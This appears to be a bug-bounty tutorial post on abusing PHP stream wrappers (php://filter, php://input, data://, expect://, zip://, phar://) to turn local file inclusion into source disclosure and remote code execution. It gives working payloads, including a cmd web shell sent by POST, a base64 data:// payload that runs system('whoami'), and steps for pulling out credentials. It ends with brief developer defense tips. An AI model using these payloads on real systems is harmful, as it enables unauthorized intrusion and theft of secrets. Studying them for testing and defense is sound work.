🔥 Mastering PHP Filters & Wrappers for LFI to RCE — FULL GUIDE

⚠️Most hackers stop at reading logs.
The elite use PHP wrappers to turn LFI into remote code execution.
This post is your all-in-one breakdown of how PHP wrappers work and how to exploit them like a pro. 👇

🎯 Why PHP Wrappers Matter in Bug Bounty

PHP provides built-in stream wrappers — special protocols to access I/O sources like files, memory, input/output streams, and even compressed/encrypted data.

As attackers, we can abuse these wrappers to:
✅ Read raw PHP source (even when .php is auto-appended)
✅ Bypass execution to leak secrets
✅ Chain into full RCE
✅ Abuse legacy or misconfigured server behavior

Commonly used wrappers:
▶️ php://filter
▶️ php://input
▶️ php://memory
▶️ data://
▶️ expect://
▶️ zip://
▶️ phar://

🧬 Using php://filter for Source Code Disclosure
This is the most useful wrapper for LFI.

Payload:

php://filter/read=convert.base64-encode/resource=index

Why it works:
✅ read=convert.base64-encode prevents execution of the PHP code
✅ Base64 output = raw, readable source

Example:

http://<IP>/index.php?file=php://filter/read=convert.base64-encode/resource=config

Decode result:

echo 'PD9waHAK...base64...' | base64 -d

Now you see source code, credentials, internal logic, API keys, etc.

🔧 Other Useful PHP Wrappers

1️⃣ php://input

Reads raw POST data.
Good for injecting code during file inclusions via POST.

<?php include('php://input'); ?>

Then POST:

POST /index.php
<?php system($_GET['cmd']); ?>

✅ Shell access via cmd parameter.

2️⃣ expect:// (if available)

Allows direct execution of system commands.

include('expect://ls');

⚠️ Rare but deadly if enabled.

3️⃣ data://

Inline file input using base64 or plaintext.

Example:

include('data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==');

🟡 Executes: system('whoami')

4️⃣ zip://

✅ Targets ZIP files as file systems.
✅ Abuse via LFI to include malicious entries.

Structure:

zip://path/to/archive.zip#file_inside.txt

Use this with file upload + LFI combo.

5️⃣ phar://

Deserializes metadata → use with Object Injection + LFI.

Upload malicious PHAR:

phar://path/to/phar_file

If unserialize() is called on a phar wrapper, it can lead to RCE.


🔍 Fuzzing PHP Files Before Exploiting

ffuf -w /opt/seclists/.../directory-list.txt -u http://<IP>/FUZZ.php

Watch for:
200 → exists and renders
403/302 → access denied, but still includable via LFI


📁 Standard Inclusion vs. Filtered Inclusion

Including via:

?file=config

🟡 Executes file, no output if file has no HTML.

Using filter:

?file=php://filter/read=convert.base64-encode/resource=config

🟡 Returns base64 source code.


🧪 Decode & Analyze the Source Code

echo 'base64-encoded-content' | base64 -d

Look for:
✅ $db_password, $admin_pass
✅ API endpoints
✅ Sensitive routes
✅ Hardcoded JWT secrets or keys


💣 Advanced Chaining → From LFI to RCE

Read source via php://filter
Find upload paths or SSRF endpoints
Upload malicious phar:// file
Trigger inclusion → RCE

This chain has been used in real-world bounty reports.

🧱 Defense Tips for Developers:
- Disable allow_url_include, allow_url_fopen
- Avoid dynamic include($_GET['page'])
- Use strict whitelists
- Harden php.ini configs
- Monitor suspicious access patterns


🧠 Daily hacking insights
🛠 Payloads & Tools
🐞 Real bug bounty techniques
⚔️ Hands-on exploitation walkthroughs

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